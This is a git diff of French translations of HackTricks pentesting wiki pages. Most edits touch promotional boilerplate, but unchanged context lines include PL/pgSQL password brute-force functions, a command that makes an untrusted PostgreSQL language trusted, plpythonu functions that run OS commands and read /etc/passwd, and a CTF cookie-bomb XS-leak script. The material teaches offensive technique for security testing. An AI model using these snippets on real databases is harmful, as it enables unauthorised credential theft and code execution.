* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'**NFTs** exclusifs [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**merch officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de hacking en soumettant des PRs au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
</details>
{% endhint %}

View file

@ -1,30 +1,36 @@
# Injection Cypher (neo4j)
# Cypher Injection (neo4j)
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Soutenez HackTricks</summary>
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
</details>
{% endhint %}
Consultez les blogs suivants:
Consultez les blogs suivants :
* [https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits](https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits)
* [https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8](https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8)
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Soutenez HackTricks</summary>
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
</details>
{% endhint %}

View file

@ -1,29 +1,32 @@
# Brute Force du Mot de Passe PL/pgSQL
# PL/pgSQL Password Bruteforce
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Trouvez [plus d'informations sur cette attaque dans le document original](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**.
**Find [more information about these attack in the original paper](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**.
PL/pgSQL est un **langage de programmation complet** qui va au-delà des capacités du SQL en offrant un **contrôle procédural amélioré**. Cela inclut l'utilisation de boucles et de diverses structures de contrôle. Les fonctions créées dans le langage PL/pgSQL peuvent être invoquées par des instructions SQL et des déclencheurs, élargissant ainsi la portée des opérations dans l'environnement de la base de données.
PL/pgSQL est un **langage de programmation complet** qui va au-delà des capacités de SQL en offrant un **contrôle procédural amélioré**. Cela inclut l'utilisation de boucles et de diverses structures de contrôle. Les fonctions créées dans le langage PL/pgSQL peuvent être invoquées par des instructions SQL et des déclencheurs, élargissant ainsi le champ des opérations au sein de l'environnement de base de données.
Vous pouvez abuser de ce langage pour demander à PostgreSQL de brute-forcer les identifiants des utilisateurs, mais ils doivent exister dans la base de données. Vous pouvez vérifier leur existence en utilisant:
Vous pouvez abuser de ce langage pour demander à PostgreSQL de brute-forcer les identifiants des utilisateurs, mais il doit exister dans la base de données. Vous pouvez vérifier son existence en utilisant :
```sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+---------
plpgsql |
```
Par défaut, **la création de fonctions est un privilège accordé à PUBLIC**, où PUBLIC fait référence à chaque utilisateur sur ce système de base de données. Pour éviter cela, l'administrateur aurait dû révoquer le privilège USAGE du domaine PUBLIC:
Par défaut, **la création de fonctions est un privilège accordé à PUBLIC**, où PUBLIC fait référence à chaque utilisateur de ce système de base de données. Pour éviter cela, l'administrateur aurait dû révoquer le privilège USAGE du domaine PUBLIC :
```sql
REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;
```
@ -34,13 +37,13 @@ lanname | lanacl
---------+-----------------
plpgsql | {admin=U/admin}
```
Notez que pour que le script suivant fonctionne **la fonction `dblink` doit exister**. Si ce n'est pas le cas, vous pouvez essayer de la créer avec&#x20;
Notez que pour que le script suivant fonctionne, **la fonction `dblink` doit exister**. Si ce n'est pas le cas, vous pouvez essayer de la créer avec&#x20;
```sql
CREATE EXTENSION dblink;
```
## Brute Force de Mot de Passe
## Bruteforce de mot de passe
Voici comment vous pourriez effectuer une attaque de force brute sur un mot de passe de 4 caractères :
Voici comment vous pourriez effectuer un bruteforce de mot de passe de 4 caractères :
```sql
//Create the brute-force function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
@ -79,7 +82,7 @@ $$ LANGUAGE 'plpgsql';
//Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
```
_Notez que même le brute-force de 4 caractères peut prendre plusieurs minutes._
_Notez que même le fait de forcer 4 caractères peut prendre plusieurs minutes._
Vous pourriez également **télécharger une liste de mots** et essayer uniquement ces mots de passe (attaque par dictionnaire) :
```sql
@ -116,14 +119,17 @@ $$ LANGUAGE 'plpgsql'
-- Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
```
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Soutenir HackTricks</summary>
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
</details>
{% endhint %}

View file

@ -1,28 +1,31 @@
# Exécution de code à distance (RCE) avec les langages PostgreSQL
# RCE avec les langages PostgreSQL
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Soutenir HackTricks</summary>
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
</details>
{% endhint %}
## Langages PostgreSQL
La base de données PostgreSQL à laquelle vous avez accès peut avoir différents **langages de script installés** que vous pourriez exploiter pour **exécuter du code arbitraire**.
Vous pouvez les **mettre en marche**:
Vous pouvez **les faire fonctionner** :
```sql
\dL *
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
```
La plupart des langages de script que vous pouvez installer dans PostgreSQL ont **2 variantes** : le **fiable** et le **non fiable**. Le **non fiable** aura un nom **terminé par "u"** et sera la version qui vous permettra d'**exécuter du code** et d'utiliser d'autres fonctions intéressantes. Voici des langages qui, s'ils sont installés, sont intéressants :
La plupart des langages de script que vous pouvez installer dans PostgreSQL ont **2 saveurs** : le **fiable** et le **non fiable**. Le **non fiable** aura un nom **se terminant par "u"** et sera la version qui vous permettra d'**exécuter du code** et d'utiliser d'autres fonctions intéressantes. Voici des langages qui, s'ils sont installés, sont intéressants :
* **plpythonu**
* **plpython3u**
@ -32,7 +35,7 @@ La plupart des langages de script que vous pouvez installer dans PostgreSQL ont
* ... (tout autre langage de programmation utilisant une version non sécurisée)
{% hint style="warning" %}
Si vous constatez qu'un langage intéressant est **installé** mais **non fiable** pour PostgreSQL (**`lanpltrusted`** est **`false`**), vous pouvez essayer de **le rendre fiable** avec la ligne suivante afin qu'aucune restriction ne soit appliquée par PostgreSQL :
Si vous constatez qu'un langage intéressant est **installé** mais **non fiable** par PostgreSQL (**`lanpltrusted`** est **`false`**), vous pouvez essayer de **lui faire confiance** avec la ligne suivante afin qu'aucune restriction ne soit appliquée par PostgreSQL :
```sql
UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# To check your permissions over the table pg_language
@ -51,7 +54,7 @@ CREATE EXTENSION plrubyu;
```
{% endhint %}
Notez qu'il est possible de compiler les versions sécurisées comme "non sécurisées". Consultez [**ce lien**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) par exemple. Il vaut donc toujours la peine d'essayer si vous pouvez exécuter du code même si vous ne trouvez installée que la version **de confiance**.
Notez qu'il est possible de compiler les versions sécurisées en tant que "non sécurisées". Consultez [**ceci**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) par exemple. Il vaut donc toujours la peine d'essayer si vous pouvez exécuter du code même si vous ne trouvez que la version **fiable** installée.
## plpythonu/plpython3u
@ -71,7 +74,7 @@ SELECT cmd("ls"); #RCE with popen or execve
```
{% endtab %}
{% tab title="Obtenir l'utilisateur du système d'exploitation" %}
{% tab title="Obtenir l'utilisateur OS" %}
```sql
CREATE OR REPLACE FUNCTION get_user (pkg text)
RETURNS VARCHAR(65535) stable
@ -85,7 +88,7 @@ SELECT get_user(""); #Get user, para is useless
```
{% endtab %}
{% tab title="Lister les répertoires" %}
{% tab title="Lister le répertoire" %}
```sql
CREATE OR REPLACE FUNCTION lsdir (dir text)
RETURNS VARCHAR(65535) stable
@ -234,7 +237,7 @@ SELECT find_exe("psql"); #Find executable by susbstring
```
{% endtab %}
{% tab title="Lire" %}Le code PL/pgSQL est un langage procédural puissant qui peut être utilisé pour exécuter des requêtes SQL dynamiques. En exploitant une injection SQL dans une application PostgreSQL, un attaquant peut exécuter du code arbitraire en utilisant des fonctions PL/pgSQL. Cela peut être utilisé pour obtenir un accès à distance au serveur PostgreSQL ou pour exécuter des commandes système sur le serveur. Il est important de sécuriser correctement les applications PostgreSQL pour éviter les injections SQL et de limiter les privilèges des utilisateurs pour réduire les risques d'attaques. {% endtab %}
{% tab title="Lire" %}
```sql
CREATE OR REPLACE FUNCTION read (path text)
RETURNS VARCHAR(65535) stable
@ -250,7 +253,7 @@ select read('/etc/passwd'); #Read a file in b64
```
{% endtab %}
{% tab title="Obtenir les autorisations" %}
{% tab title="Obtenir des autorisations" %}
```sql
CREATE OR REPLACE FUNCTION get_perms (path text)
RETURNS VARCHAR(65535) stable
@ -266,7 +269,7 @@ select get_perms("/etc/passwd"); # Get perms of file
```
{% endtab %}
{% tab title="Requête" %}
{% tab title="Demande" %}
```sql
CREATE OR REPLACE FUNCTION req2 (url text)
RETURNS VARCHAR(65535) stable
@ -309,14 +312,17 @@ Vérifiez la page suivante :
[rce-with-postgresql-extensions.md](rce-with-postgresql-extensions.md)
{% endcontent-ref %}
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Soutenir HackTricks</summary>
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
</details>
{% endhint %}

View file

@ -1,18 +1,21 @@
# Cookie Bomb + Fuite XS Onerror
# Cookie Bomb + Onerror XS Leak
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Le **script** suivant pris à partir de [**ici**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) exploite une fonctionnalité qui permet à l'utilisateur d'**insérer n'importe quelle quantité de cookies**, puis de charger un fichier en tant que script sachant que la vraie réponse sera plus grande que la fausse et ensuite. En cas de succès, la réponse est une redirection avec une URL résultante plus longue, **trop grande pour être gérée par le serveur donc renvoie un code d'état http d'erreur**. Si la recherche échoue, rien ne se passera car l'URL est courte.
Le **script** suivant pris [**ici**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) exploite une fonctionnalité qui permet à l'utilisateur d'**insérer n'importe quelle quantité de cookies**, puis de charger un fichier en tant que script en sachant que la véritable réponse sera plus grande que la fausse et ensuite. Si cela réussit, la réponse est une redirection avec une URL résultante plus longue, **trop grande pour être gérée par le serveur, donc renvoie un code d'état http d'erreur**. Si la recherche échoue, rien ne se passera car l'URL est courte.
```html
<>'";<form action='https://sustenance.web.actf.co/s' method=POST><input id=f /><input name=search value=a /></form>
<script>
@ -61,14 +64,17 @@ break;
};
</script>
```
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Soutenir HackTricks</summary>
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# Exécution de JavaScript XS Leak
# Exécution JavaScript XS Leak
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Soutenir HackTricks</summary>
